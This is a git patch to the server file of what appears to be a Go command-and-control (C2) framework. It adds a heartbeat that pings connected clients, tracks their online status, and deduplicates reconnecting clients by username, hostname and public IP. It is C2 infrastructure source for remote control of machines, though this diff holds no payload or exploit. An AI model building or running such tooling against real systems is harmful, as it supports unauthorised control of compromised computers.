From be646ca639ffa50ed3ccc0d539fcc00aca1f0762 Mon Sep 17 00:00:00 2001
From: raul <raul@bulgariu.xyz>
Date: Tue, 4 Jun 2024 12:41:57 +0200
Subject: [PATCH] Add heartbeat system

---
 cmd/serverFunc.go | 68 +++++++++++++++++++++++++----------------------
 1 file changed, 36 insertions(+), 32 deletions(-)

diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go
index 9eac359..fe77110 100644
--- a/cmd/serverFunc.go
+++ b/cmd/serverFunc.go
@@ -5,7 +5,6 @@ import (
 	"fmt"
 	"log"
 	"net"
-	//"reflect"
 	"time"
 
 	"github.com/spf13/viper"
@@ -37,7 +36,7 @@ type Response struct {
 
 var (
 	C2Port     string = "1302"
-	clientList []*Client
+	clientList []Client
 )
 
 func (c Client) Instruct(i Instructions) error {
@@ -73,36 +72,35 @@ func Server() {
 }
 
 func handleConn(conn net.Conn) {
-	client, err := getClient(conn)
+	ID, err := getClient(conn)
 	if err != nil {
 		log.Printf("Error happened receiving OS information: %v\n", err)
 	}
-	fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", client.ClientBasicInfo.Username,
-		client.ClientBasicInfo.UID, client.ClientBasicInfo.GID, client.ClientBasicInfo.Hostname, client.ClientBasicInfo.OperatingSystem)
+	fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
+		clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
+		clientList[ID].ClientBasicInfo.OperatingSystem)
 
-	go Heartbeat(*client, conn)
+	go Heartbeat(ID)
 }
 
-func Heartbeat(client Client, conn net.Conn) {
+func Heartbeat(ID int) {
 	for {
 		inst := Instructions{
 			IsHeartbeat: true,
 			Message:     "PING",
 		}
-		client.Instruct(inst)
-		log.Printf("Pinging %v...\n", client.ClientBasicInfo.PublicIP)
-
-		resp, err := ServerMessageReceiver(conn)
+		clientList[ID].Instruct(inst)
+		resp, err := ServerMessageReceiver(clientList[ID].Conn)
 		if err == nil && resp.Message == "PONG" {
-			fmt.Printf("Client %v is online!\n", client.ClientBasicInfo.PublicIP)
-			client.IsOnline = true
+			fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname)
+			clientList[ID].IsOnline = true
 		} else {
-			fmt.Printf("Client %v is offline :(\n", client.ClientBasicInfo.PublicIP)
-			client.IsOnline = false
+			fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
+			clientList[ID].IsOnline = false
 			return
 		}
 
-		time.Sleep(time.Second * 10)
+		time.Sleep(time.Second * 5)
 	}
 }
 
@@ -116,28 +114,34 @@ func ServerMessageReceiver(conn net.Conn) (Response, error) {
 	return *c, nil
 }
 
-func getClient(conn net.Conn) (*Client, error) {
+func getClient(conn net.Conn) (int, error) {
 	dec := gob.NewDecoder(conn)
-	basicC := new(ClientBasicInfo)
+	basicC := ClientBasicInfo{}
 	err := dec.Decode(&basicC)
 	if err != nil {
-		bad := Client{}
-		return &bad, err
+		return -1, err
 	}
-	newC := new(Client)
-	newC.ClientBasicInfo = *basicC
+
+	for i, v := range clientList {
+		sameClient := basicC.Username == v.ClientBasicInfo.Username &&
+			basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
+			basicC.Hostname == v.ClientBasicInfo.Hostname
+
+		if sameClient == true {
+			fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
+			clientList[i].IsOnline = true
+			clientList[i].Conn = conn
+			return i, nil
+		} else {
+			fmt.Println("Unequal!")
+		}
+	}
+	newC := Client{}
+	newC.ClientBasicInfo = basicC
 	newC.Conn = conn
 	newC.IsOnline = true
 
-	// for _, v := range clientList {
-	// 	sameClient := reflect.DeepEqual(c, v.ClientInfo)
-	// 	if sameClient == true {
-	// 		fmt.Println("CLIENT ALREADY PRESENT, SETTING TO ONLINE")
-	// 		c.IsOnline = true
-	// 		return c, nil
-	// 	}
-	// }
-	//fmt.Println("CLIENT NOT PRESENT, ADDING TO LIST")
+	fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
 	clientList = append(clientList, newC)
-	return newC, nil
+	return len(clientList) - 1, nil
 }